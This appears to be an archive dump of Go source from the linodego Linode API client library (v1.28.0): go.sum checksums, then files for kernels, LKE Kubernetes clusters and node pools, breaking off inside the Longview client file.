h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= golang.org/x/text v0.13.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= golang.org/x/text v0.14.0 h1:ScX5w1eTa3QqT8oi6+ziP7dTV1S2+ALU0bI+0zXKWiQ= golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= golang.org/x/time v0.3.0 h1:rg5rLMjNzMS1RkNLzCG38eapWhnYLFYXDXj2gOlr8j4= golang.org/x/time v0.3.0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20200619180055-7c47624df98f/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= golang.org/x/tools v0.0.0-20210106214847-113979e3529a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc= golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU= golang.org/x/tools v0.8.0 h1:vSDcovVPld282ceKgDimkRSC8kpaH1dgyc9UMzlt84Y= golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= google.golang.org/appengine v1.6.7 h1:FZR1q0exgwxzPzp/aF+VccGrSfxfPpkBqjIIEq3ru6c= google.golang.org/appengine v1.6.7/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc= google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= google.golang.org/protobuf v1.30.0 h1:kPPoIgf3TsEvrm0PFe15JQ+570QVxYzEvvHqChK+cng= google.golang.org/protobuf v1.30.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q= gopkg.in/inf.v0 v0.9.1 h1:73M5CoZyi3ZLMOyDlQh031Cx6N9NDJ2Vvfl76EDAgDc= gopkg.in/inf.v0 v0.9.1/go.mod h1:cWUDdTG/fYaXco+Dcufb5Vnc6Gp2YChqWtbxRZE0mXw= gopkg.in/ini.v1 v1.66.6 h1:LATuAqN/shcYAOkv3wl2L4rkaKqkcgTBQjOyYDvcPKI= gopkg.in/ini.v1 v1.66.6/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY= gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= k8s.io/api v0.28.1 h1:i+0O8k2NPBCPYaMB+uCkseEbawEt/eFaiRqUx8aB108= k8s.io/api v0.28.1/go.mod h1:uBYwID+66wiL28Kn2tBjBYQdEU0Xk0z5qF8bIBqk/Dg= k8s.io/apimachinery v0.28.1 h1:EJD40og3GizBSV3mkIoXQBsws32okPOy+MkRyzh6nPY= k8s.io/apimachinery v0.28.1/go.mod h1:X0xh/chESs2hP9koe+SdIAcXWcQ+RM5hy0ZynB+yEvw= k8s.io/client-go v0.28.1 h1:pRhMzB8HyLfVwpngWKE8hDcXRqifh1ga2Z/PU9SXVK8= k8s.io/client-go v0.28.1/go.mod h1:pEZA3FqOsVkCc07pFVzK076R+P/eXqsgx5zuuRWukNE= k8s.io/klog/v2 v2.100.1 h1:7WCHKK6K8fNhTqfBhISHQ97KrnJNFZMcQvKp7gP/tmg= k8s.io/klog/v2 v2.100.1/go.mod h1:y1WjHnz7Dj687irZUWR/WLkLc5N1YHtjLdmgWjndZn0= k8s.io/kube-openapi v0.0.0-20230717233707-2695361300d9 h1:LyMgNKD2P8Wn1iAwQU5OhxCKlKJy0sHc+PcDwFB24dQ= k8s.io/kube-openapi v0.0.0-20230717233707-2695361300d9/go.mod h1:wZK2AVp1uHCp4VamDVgBP2COHZjqD1T68Rf0CM3YjSM= k8s.io/utils v0.0.0-20230406110748-d93618cff8a2 h1:qY1Ad8PODbnymg2pRbkyMT/ylpTrCM8P2RJ0yroCyIk= k8s.io/utils v0.0.0-20230406110748-d93618cff8a2/go.mod h1:OLgZIPagt7ERELqWJFomSt595RzquPNLL48iOWgYOg0= sigs.k8s.io/json v0.0.0-20221116044647-bc3834ca7abd h1:EDPBXCAspyGV4jQlpZSudPeMmr1bNJefnuqLsRAsHZo= sigs.k8s.io/json v0.0.0-20221116044647-bc3834ca7abd/go.mod h1:B8JuhiUyNFVKdsE8h686QcCxMaH6HrOAZj4vswFpcB0= sigs.k8s.io/structured-merge-diff/v4 v4.2.3 h1:PRbqxJClWWYMNV1dhaG4NsibJbArud9kFxnAMREiWFE= sigs.k8s.io/structured-merge-diff/v4 v4.2.3/go.mod h1:qjx8mGObPmV2aSZepjQjbmb2ihdVs8cGKBraizNC69E= sigs.k8s.io/yaml v1.3.0 h1:a2VclLzOGrwOHDiV8EfBGhvjHvP46CtW5j6POvhYGGo= sigs.k8s.io/yaml v1.3.0/go.mod h1:GeOyir5tyXNByN85N/dRIT9es5UQNerPYEKK56eTBm8= golang-github-linode-linodego-1.28.0/k8s/pkg/000077500000000000000000000000001455402072200206665ustar00rootroot00000000000000golang-github-linode-linodego-1.28.0/k8s/pkg/condition/000077500000000000000000000000001455402072200226545ustar00rootroot00000000000000golang-github-linode-linodego-1.28.0/k8s/pkg/condition/lke.go000066400000000000000000000025261455402072200237630ustar00rootroot00000000000000package condition import ( "context" "fmt" "github.com/linode/linodego" "github.com/linode/linodego/k8s" corev1 "k8s.io/api/core/v1" v1 "k8s.io/apimachinery/pkg/apis/meta/v1" ) // ClusterHasReadyNode is a ClusterConditionFunc which polls for at least one node to have the // condition NodeReady=True. func ClusterHasReadyNode(ctx context.Context, options linodego.ClusterConditionOptions) (bool, error) { clientset, err := k8s.BuildClientsetFromConfig(options.LKEClusterKubeconfig, options.TransportWrapper) if err != nil { return false, err } nodes, err := clientset.CoreV1().Nodes().List(ctx, v1.ListOptions{}) if err != nil { return false, fmt.Errorf("failed to get nodes for cluster: %w", err) } for _, node := range nodes.Items { for _, condition := range node.Status.Conditions { if condition.Type == corev1.NodeReady && condition.Status == corev1.ConditionTrue { return true, nil } } } return false, nil } // WaitForLKEClusterReady polls with a given timeout for the LKE Cluster's api-server // to be healthy and for the cluster to have at least one node with the NodeReady // condition true. func WaitForLKEClusterReady(ctx context.Context, client linodego.Client, clusterID int, options linodego.LKEClusterPollOptions) error { return client.WaitForLKEClusterConditions(ctx, clusterID, options, ClusterHasReadyNode) } golang-github-linode-linodego-1.28.0/kernels.go000066400000000000000000000053401455402072200213740ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "fmt" "net/url" "time" "github.com/go-resty/resty/v2" "github.com/linode/linodego/internal/parseabletime" ) // LinodeKernel represents a Linode Instance kernel object type LinodeKernel struct { ID string `json:"id"` Label string `json:"label"` Version string `json:"version"` Architecture string `json:"architecture"` Deprecated bool `json:"deprecated"` KVM bool `json:"kvm"` XEN bool `json:"xen"` PVOPS bool `json:"pvops"` Built *time.Time `json:"-"` } // LinodeKernelsPagedResponse represents a Linode kernels API response for listing type LinodeKernelsPagedResponse struct { *PageOptions Data []LinodeKernel `json:"data"` } // UnmarshalJSON implements the json.Unmarshaler interface func (i *LinodeKernel) UnmarshalJSON(b []byte) error { type Mask LinodeKernel p := struct { *Mask Built *parseabletime.ParseableTime `json:"built"` }{ Mask: (*Mask)(i), } if err := json.Unmarshal(b, &p); err != nil { return err } i.Built = (*time.Time)(p.Built) return nil } func (LinodeKernelsPagedResponse) endpoint(_ ...any) string { return "linode/kernels" } func (resp *LinodeKernelsPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { res, err := coupleAPIErrors(r.SetResult(LinodeKernelsPagedResponse{}).Get(e)) if err != nil { return 0, 0, err } castedRes := res.Result().(*LinodeKernelsPagedResponse) resp.Data = append(resp.Data, castedRes.Data...) return castedRes.Pages, castedRes.Results, nil } // ListKernels lists linode kernels. This endpoint is cached by default. func (c *Client) ListKernels(ctx context.Context, opts *ListOptions) ([]LinodeKernel, error) { response := LinodeKernelsPagedResponse{} endpoint, err := generateListCacheURL(response.endpoint(), opts) if err != nil { return nil, err } if result := c.getCachedResponse(endpoint); result != nil { return result.([]LinodeKernel), nil } err = c.listHelper(ctx, &response, opts) if err != nil { return nil, err } c.addCachedResponse(endpoint, response.Data, nil) return response.Data, nil } // GetKernel gets the kernel with the provided ID. This endpoint is cached by default. func (c *Client) GetKernel(ctx context.Context, kernelID string) (*LinodeKernel, error) { kernelID = url.PathEscape(kernelID) e := fmt.Sprintf("linode/kernels/%s", kernelID) if result := c.getCachedResponse(e); result != nil { result := result.(LinodeKernel) return &result, nil } req := c.R(ctx).SetResult(&LinodeKernel{}) r, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } c.addCachedResponse(e, r.Result(), nil) return r.Result().(*LinodeKernel), nil } golang-github-linode-linodego-1.28.0/lke_cluster_pools.go000066400000000000000000000046321455402072200234640ustar00rootroot00000000000000package linodego import ( "context" ) // Deprecated: LKEClusterPoolDisk represents a Node disk in an LKEClusterPool object type LKEClusterPoolDisk = LKENodePoolDisk // Deprecated: LKEClusterPoolAutoscaler represents an AutoScaler configuration type LKEClusterPoolAutoscaler = LKENodePoolAutoscaler // Deprecated: LKEClusterPoolLinode represents a LKEClusterPoolLinode object type LKEClusterPoolLinode = LKENodePoolLinode // Deprecated: LKEClusterPool represents a LKEClusterPool object type LKEClusterPool = LKENodePool // Deprecated: LKEClusterPoolCreateOptions fields are those accepted by CreateLKEClusterPool type LKEClusterPoolCreateOptions = LKENodePoolCreateOptions // Deprecated: LKEClusterPoolUpdateOptions fields are those accepted by UpdateLKEClusterPool type LKEClusterPoolUpdateOptions = LKENodePoolUpdateOptions // Deprecated: LKEClusterPoolsPagedResponse represents a paginated LKEClusterPool API response type LKEClusterPoolsPagedResponse = LKENodePoolsPagedResponse // Deprecated: ListLKEClusterPools lists LKEClusterPools func (c *Client) ListLKEClusterPools(ctx context.Context, clusterID int, opts *ListOptions) ([]LKEClusterPool, error) { return c.ListLKENodePools(ctx, clusterID, opts) } // Deprecated: GetLKEClusterPool gets the lkeClusterPool with the provided ID func (c *Client) GetLKEClusterPool(ctx context.Context, clusterID, id int) (*LKEClusterPool, error) { return c.GetLKENodePool(ctx, clusterID, id) } // Deprecated: CreateLKEClusterPool creates a LKEClusterPool func (c *Client) CreateLKEClusterPool(ctx context.Context, clusterID int, createOpts LKEClusterPoolCreateOptions) (*LKEClusterPool, error) { return c.CreateLKENodePool(ctx, clusterID, createOpts) } // Deprecated: UpdateLKEClusterPool updates the LKEClusterPool with the specified id func (c *Client) UpdateLKEClusterPool(ctx context.Context, clusterID, id int, updateOpts LKEClusterPoolUpdateOptions) (*LKEClusterPool, error) { return c.UpdateLKENodePool(ctx, clusterID, id, updateOpts) } // Deprecated: DeleteLKEClusterPool deletes the LKEClusterPool with the specified id func (c *Client) DeleteLKEClusterPool(ctx context.Context, clusterID, id int) error { return c.DeleteLKENodePool(ctx, clusterID, id) } // Deprecated: DeleteLKEClusterPoolNode deletes a given node from a cluster pool func (c *Client) DeleteLKEClusterPoolNode(ctx context.Context, clusterID int, id string) error { return c.DeleteLKENodePoolNode(ctx, clusterID, id) } golang-github-linode-linodego-1.28.0/lke_clusters.go000066400000000000000000000262601455402072200224340ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "fmt" "net/url" "time" "github.com/go-resty/resty/v2" "github.com/linode/linodego/internal/parseabletime" ) // LKEClusterStatus represents the status of an LKECluster type LKEClusterStatus string // LKEClusterStatus enums start with LKECluster const ( LKEClusterReady LKEClusterStatus = "ready" LKEClusterNotReady LKEClusterStatus = "not_ready" ) // LKECluster represents a LKECluster object type LKECluster struct { ID int `json:"id"` Created *time.Time `json:"-"` Updated *time.Time `json:"-"` Label string `json:"label"` Region string `json:"region"` Status LKEClusterStatus `json:"status"` K8sVersion string `json:"k8s_version"` Tags []string `json:"tags"` ControlPlane LKEClusterControlPlane `json:"control_plane"` } // LKEClusterCreateOptions fields are those accepted by CreateLKECluster type LKEClusterCreateOptions struct { NodePools []LKENodePoolCreateOptions `json:"node_pools"` Label string `json:"label"` Region string `json:"region"` K8sVersion string `json:"k8s_version"` Tags []string `json:"tags,omitempty"` ControlPlane *LKEClusterControlPlane `json:"control_plane,omitempty"` } // LKEClusterUpdateOptions fields are those accepted by UpdateLKECluster type LKEClusterUpdateOptions struct { K8sVersion string `json:"k8s_version,omitempty"` Label string `json:"label,omitempty"` Tags *[]string `json:"tags,omitempty"` ControlPlane *LKEClusterControlPlane `json:"control_plane,omitempty"` } // LKEClusterAPIEndpoint fields are those returned by ListLKEClusterAPIEndpoints type LKEClusterAPIEndpoint struct { Endpoint string `json:"endpoint"` } // LKEClusterKubeconfig fields are those returned by GetLKEClusterKubeconfig type LKEClusterKubeconfig struct { KubeConfig string `json:"kubeconfig"` } // LKEClusterDashboard fields are those returned by GetLKEClusterDashboard type LKEClusterDashboard struct { URL string `json:"url"` } // LKEClusterControlPlane fields contained within the `control_plane` attribute of an LKE cluster. type LKEClusterControlPlane struct { HighAvailability bool `json:"high_availability"` } // LKEVersion fields are those returned by GetLKEVersion type LKEVersion struct { ID string `json:"id"` } // LKEClusterRegenerateOptions fields are those accepted by RegenerateLKECluster type LKEClusterRegenerateOptions struct { KubeConfig bool `json:"kubeconfig"` ServiceToken bool `json:"servicetoken"` } // UnmarshalJSON implements the json.Unmarshaler interface func (i *LKECluster) UnmarshalJSON(b []byte) error { type Mask LKECluster p := struct { *Mask Created *parseabletime.ParseableTime `json:"created"` Updated *parseabletime.ParseableTime `json:"updated"` }{ Mask: (*Mask)(i), } if err := json.Unmarshal(b, &p); err != nil { return err } i.Created = (*time.Time)(p.Created) i.Updated = (*time.Time)(p.Updated) return nil } // GetCreateOptions converts a LKECluster to LKEClusterCreateOptions for use in CreateLKECluster func (i LKECluster) GetCreateOptions() (o LKEClusterCreateOptions) { o.Label = i.Label o.Region = i.Region o.K8sVersion = i.K8sVersion o.Tags = i.Tags o.ControlPlane = &i.ControlPlane // @TODO copy NodePools? return } // GetUpdateOptions converts a LKECluster to LKEClusterUpdateOptions for use in UpdateLKECluster func (i LKECluster) GetUpdateOptions() (o LKEClusterUpdateOptions) { o.K8sVersion = i.K8sVersion o.Label = i.Label o.Tags = &i.Tags o.ControlPlane = &i.ControlPlane return } // LKEVersionsPagedResponse represents a paginated LKEVersion API response type LKEVersionsPagedResponse struct { *PageOptions Data []LKEVersion `json:"data"` } // endpoint gets the endpoint URL for LKEVersion func (LKEVersionsPagedResponse) endpoint(_ ...any) string { return "lke/versions" } func (resp *LKEVersionsPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { res, err := coupleAPIErrors(r.SetResult(LKEVersionsPagedResponse{}).Get(e)) if err != nil { return 0, 0, err } castedRes := res.Result().(*LKEVersionsPagedResponse) resp.Data = append(resp.Data, castedRes.Data...) return castedRes.Pages, castedRes.Results, nil } // ListLKEVersions lists the Kubernetes versions available through LKE. This endpoint is cached by default. func (c *Client) ListLKEVersions(ctx context.Context, opts *ListOptions) ([]LKEVersion, error) { response := LKEVersionsPagedResponse{} endpoint, err := generateListCacheURL(response.endpoint(), opts) if err != nil { return nil, err } if result := c.getCachedResponse(endpoint); result != nil { return result.([]LKEVersion), nil } err = c.listHelper(ctx, &response, opts) if err != nil { return nil, err } c.addCachedResponse(endpoint, response.Data, &cacheExpiryTime) return response.Data, nil } // GetLKEVersion gets details about a specific LKE Version. This endpoint is cached by default. func (c *Client) GetLKEVersion(ctx context.Context, version string) (*LKEVersion, error) { version = url.PathEscape(version) e := fmt.Sprintf("lke/versions/%s", version) if result := c.getCachedResponse(e); result != nil { result := result.(LKEVersion) return &result, nil } req := c.R(ctx).SetResult(&LKEVersion{}) r, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } c.addCachedResponse(e, r.Result(), &cacheExpiryTime) return r.Result().(*LKEVersion), nil } // LKEClusterAPIEndpointsPagedResponse represents a paginated LKEClusterAPIEndpoints API response type LKEClusterAPIEndpointsPagedResponse struct { *PageOptions Data []LKEClusterAPIEndpoint `json:"data"` } // endpoint gets the endpoint URL for LKEClusterAPIEndpointsPagedResponse func (LKEClusterAPIEndpointsPagedResponse) endpoint(ids ...any) string { id := ids[0].(int) return fmt.Sprintf("lke/clusters/%d/api-endpoints", id) } func (resp *LKEClusterAPIEndpointsPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { res, err := coupleAPIErrors(r.SetResult(LKEClusterAPIEndpointsPagedResponse{}).Get(e)) if err != nil { return 0, 0, err } castedRes := res.Result().(*LKEClusterAPIEndpointsPagedResponse) resp.Data = append(resp.Data, castedRes.Data...) return castedRes.Pages, castedRes.Results, nil } // ListLKEClusterAPIEndpoints gets the API Endpoint for the LKE Cluster specified func (c *Client) ListLKEClusterAPIEndpoints(ctx context.Context, clusterID int, opts *ListOptions) ([]LKEClusterAPIEndpoint, error) { response := LKEClusterAPIEndpointsPagedResponse{} err := c.listHelper(ctx, &response, opts, clusterID) if err != nil { return nil, err } return response.Data, nil } // LKEClustersPagedResponse represents a paginated LKECluster API response type LKEClustersPagedResponse struct { *PageOptions Data []LKECluster `json:"data"` } // endpoint gets the endpoint URL for LKECluster func (LKEClustersPagedResponse) endpoint(_ ...any) string { return "lke/clusters" } func (resp *LKEClustersPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { res, err := coupleAPIErrors(r.SetResult(LKEClustersPagedResponse{}).Get(e)) if err != nil { return 0, 0, err } castedRes := res.Result().(*LKEClustersPagedResponse) resp.Data = append(resp.Data, castedRes.Data...) return castedRes.Pages, castedRes.Results, nil } // ListLKEClusters lists LKEClusters func (c *Client) ListLKEClusters(ctx context.Context, opts *ListOptions) ([]LKECluster, error) { response := LKEClustersPagedResponse{} err := c.listHelper(ctx, &response, opts) if err != nil { return nil, err } return response.Data, nil } // GetLKECluster gets the lkeCluster with the provided ID func (c *Client) GetLKECluster(ctx context.Context, clusterID int) (*LKECluster, error) { e := fmt.Sprintf("lke/clusters/%d", clusterID) req := c.R(ctx).SetResult(&LKECluster{}) r, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } return r.Result().(*LKECluster), nil } // CreateLKECluster creates a LKECluster func (c *Client) CreateLKECluster(ctx context.Context, opts LKEClusterCreateOptions) (*LKECluster, error) { body, err := json.Marshal(opts) if err != nil { return nil, err } e := "lke/clusters" req := c.R(ctx).SetResult(&LKECluster{}).SetBody(string(body)) r, err := coupleAPIErrors(req.Post(e)) if err != nil { return nil, err } return r.Result().(*LKECluster), nil } // UpdateLKECluster updates the LKECluster with the specified id func (c *Client) UpdateLKECluster(ctx context.Context, clusterID int, opts LKEClusterUpdateOptions) (*LKECluster, error) { body, err := json.Marshal(opts) if err != nil { return nil, err } e := fmt.Sprintf("lke/clusters/%d", clusterID) req := c.R(ctx).SetResult(&LKECluster{}).SetBody(string(body)) r, err := coupleAPIErrors(req.Put(e)) if err != nil { return nil, err } return r.Result().(*LKECluster), nil } // DeleteLKECluster deletes the LKECluster with the specified id func (c *Client) DeleteLKECluster(ctx context.Context, clusterID int) error { e := fmt.Sprintf("lke/clusters/%d", clusterID) _, err := coupleAPIErrors(c.R(ctx).Delete(e)) return err } // GetLKEClusterKubeconfig gets the Kubeconfig for the LKE Cluster specified func (c *Client) GetLKEClusterKubeconfig(ctx context.Context, clusterID int) (*LKEClusterKubeconfig, error) { e := fmt.Sprintf("lke/clusters/%d/kubeconfig", clusterID) req := c.R(ctx).SetResult(&LKEClusterKubeconfig{}) r, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } return r.Result().(*LKEClusterKubeconfig), nil } // GetLKEClusterDashboard gets information about the dashboard for an LKE cluster func (c *Client) GetLKEClusterDashboard(ctx context.Context, clusterID int) (*LKEClusterDashboard, error) { e := fmt.Sprintf("lke/clusters/%d/dashboard", clusterID) req := c.R(ctx).SetResult(&LKEClusterDashboard{}) r, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } return r.Result().(*LKEClusterDashboard), nil } // RecycleLKEClusterNodes recycles all nodes in all pools of the specified LKE Cluster. func (c *Client) RecycleLKEClusterNodes(ctx context.Context, clusterID int) error { e := fmt.Sprintf("lke/clusters/%d/recycle", clusterID) _, err := coupleAPIErrors(c.R(ctx).Post(e)) return err } // RegenerateLKECluster regenerates the Kubeconfig file and/or the service account token for the specified LKE Cluster. func (c *Client) RegenerateLKECluster(ctx context.Context, clusterID int, opts LKEClusterRegenerateOptions) (*LKECluster, error) { body, err := json.Marshal(opts) if err != nil { return nil, err } e := fmt.Sprintf("lke/clusters/%d/regenerate", clusterID) req := c.R(ctx).SetResult(&LKECluster{}).SetBody(string(body)) r, err := coupleAPIErrors(req.Post(e)) if err != nil { return nil, err } return r.Result().(*LKECluster), nil } // DeleteLKEClusterServiceToken deletes and regenerate the service account token for a Cluster. func (c *Client) DeleteLKEClusterServiceToken(ctx context.Context, clusterID int) error { e := fmt.Sprintf("lke/clusters/%d/servicetoken", clusterID) _, err := coupleAPIErrors(c.R(ctx).Delete(e)) return err } golang-github-linode-linodego-1.28.0/lke_node_pools.go000066400000000000000000000126151455402072200227300ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "fmt" "net/url" "github.com/go-resty/resty/v2" ) // LKELinodeStatus constants start with LKELinode and include // Linode API LKENodePool Linode Status values type LKELinodeStatus string // LKENodePoolStatus constants reflect the current status of an LKENodePool const ( LKELinodeReady LKELinodeStatus = "ready" LKELinodeNotReady LKELinodeStatus = "not_ready" ) // LKENodePoolDisk represents a Node disk in an LKENodePool object type LKENodePoolDisk struct { Size int `json:"size"` Type string `json:"type"` } type LKENodePoolAutoscaler struct { Enabled bool `json:"enabled"` Min int `json:"min"` Max int `json:"max"` } // LKENodePoolLinode represents a LKENodePoolLinode object type LKENodePoolLinode struct { ID string `json:"id"` InstanceID int `json:"instance_id"` Status LKELinodeStatus `json:"status"` } // LKENodePool represents a LKENodePool object type LKENodePool struct { ID int `json:"id"` Count int `json:"count"` Type string `json:"type"` Disks []LKENodePoolDisk `json:"disks"` Linodes []LKENodePoolLinode `json:"nodes"` Tags []string `json:"tags"` Autoscaler LKENodePoolAutoscaler `json:"autoscaler"` } // LKENodePoolCreateOptions fields are those accepted by CreateLKENodePool type LKENodePoolCreateOptions struct { Count int `json:"count"` Type string `json:"type"` Disks []LKENodePoolDisk `json:"disks"` Tags []string `json:"tags"` Autoscaler *LKENodePoolAutoscaler `json:"autoscaler,omitempty"` } // LKENodePoolUpdateOptions fields are those accepted by UpdateLKENodePoolUpdate type LKENodePoolUpdateOptions struct { Count int `json:"count,omitempty"` Tags *[]string `json:"tags,omitempty"` Autoscaler *LKENodePoolAutoscaler `json:"autoscaler,omitempty"` } // GetCreateOptions converts a LKENodePool to LKENodePoolCreateOptions for // use in CreateLKENodePool func (l LKENodePool) GetCreateOptions() (o LKENodePoolCreateOptions) { o.Count = l.Count o.Disks = l.Disks o.Tags = l.Tags o.Autoscaler = &l.Autoscaler return } // GetUpdateOptions converts a LKENodePool to LKENodePoolUpdateOptions for use in UpdateLKENodePoolUpdate func (l LKENodePool) GetUpdateOptions() (o LKENodePoolUpdateOptions) { o.Count = l.Count o.Tags = &l.Tags o.Autoscaler = &l.Autoscaler return } // LKENodePoolsPagedResponse represents a paginated LKENodePool API response type LKENodePoolsPagedResponse struct { *PageOptions Data []LKENodePool `json:"data"` } // endpoint gets the endpoint URL for InstanceConfigs of a given Instance func (LKENodePoolsPagedResponse) endpoint(ids ...any) string { id := ids[0].(int) return fmt.Sprintf("lke/clusters/%d/pools", id) } func (resp *LKENodePoolsPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { res, err := coupleAPIErrors(r.SetResult(LKENodePoolsPagedResponse{}).Get(e)) if err != nil { return 0, 0, err } castedRes := res.Result().(*LKENodePoolsPagedResponse) resp.Data = append(resp.Data, castedRes.Data...) return castedRes.Pages, castedRes.Results, nil } // ListLKENodePools lists LKENodePools func (c *Client) ListLKENodePools(ctx context.Context, clusterID int, opts *ListOptions) ([]LKENodePool, error) { response := LKENodePoolsPagedResponse{} err := c.listHelper(ctx, &response, opts, clusterID) if err != nil { return nil, err } return response.Data, nil } // GetLKENodePool gets the LKENodePool with the provided ID func (c *Client) GetLKENodePool(ctx context.Context, clusterID, poolID int) (*LKENodePool, error) { e := fmt.Sprintf("lke/clusters/%d/pools/%d", clusterID, poolID) req := c.R(ctx).SetResult(&LKENodePool{}) r, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } return r.Result().(*LKENodePool), nil } // CreateLKENodePool creates a LKENodePool func (c *Client) CreateLKENodePool(ctx context.Context, clusterID int, opts LKENodePoolCreateOptions) (*LKENodePool, error) { body, err := json.Marshal(opts) if err != nil { return nil, err } e := fmt.Sprintf("lke/clusters/%d/pools", clusterID) req := c.R(ctx).SetResult(&LKENodePool{}).SetBody(string(body)) r, err := coupleAPIErrors(req.Post(e)) if err != nil { return nil, err } return r.Result().(*LKENodePool), nil } // UpdateLKENodePool updates the LKENodePool with the specified id func (c *Client) UpdateLKENodePool(ctx context.Context, clusterID, poolID int, opts LKENodePoolUpdateOptions) (*LKENodePool, error) { body, err := json.Marshal(opts) if err != nil { return nil, err } e := fmt.Sprintf("lke/clusters/%d/pools/%d", clusterID, poolID) req := c.R(ctx).SetResult(&LKENodePool{}).SetBody(string(body)) r, err := coupleAPIErrors(req.Put(e)) if err != nil { return nil, err } return r.Result().(*LKENodePool), nil } // DeleteLKENodePool deletes the LKENodePool with the specified id func (c *Client) DeleteLKENodePool(ctx context.Context, clusterID, poolID int) error { e := fmt.Sprintf("lke/clusters/%d/pools/%d", clusterID, poolID) _, err := coupleAPIErrors(c.R(ctx).Delete(e)) return err } // DeleteLKENodePoolNode deletes a given node from a node pool func (c *Client) DeleteLKENodePoolNode(ctx context.Context, clusterID int, nodeID string) error { nodeID = url.PathEscape(nodeID) e := fmt.Sprintf("lke/clusters/%d/nodes/%s", clusterID, nodeID) _, err := coupleAPIErrors(c.R(ctx).Delete(e)) return err } golang-github-linode-linodego-1.28.0/longview.go000066400000000000000000000121001455402072200215530ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "fmt" "time" "github.com/go-resty/resty/v2" "github.com/linode/linodego/internal/parseabletime" ) // LongviewClient represents a LongviewClient object type LongviewClient struct { ID int `json:"id"` APIKey string `json:"api_key"` Created *time.Time `json:"-"` InstallCode string `json:"install_code"` Label string `json:"label"` Updated *time.Time `json:"-"` Apps struct { Apache any `json:"apache"` MySQL any `json:"mysql"` NginX any `json:"nginx"` } `json:"apps"` } // LongviewClientCreateOptions is an options struct used when Creating a Longview Client type LongviewClientCreateOptions struct { Label string `json:"label"` } // LongviewClientCreateOptions is an options struct used when Updating a Longview Client type LongviewClientUpdateOptions struct { Label string `json:"label"` } // LongviewPlan represents a Longview Plan object type LongviewPlan struct { ID string `json:"id"` Label string `json:"label"` ClientsIncluded int `json:"clients_included"` Price 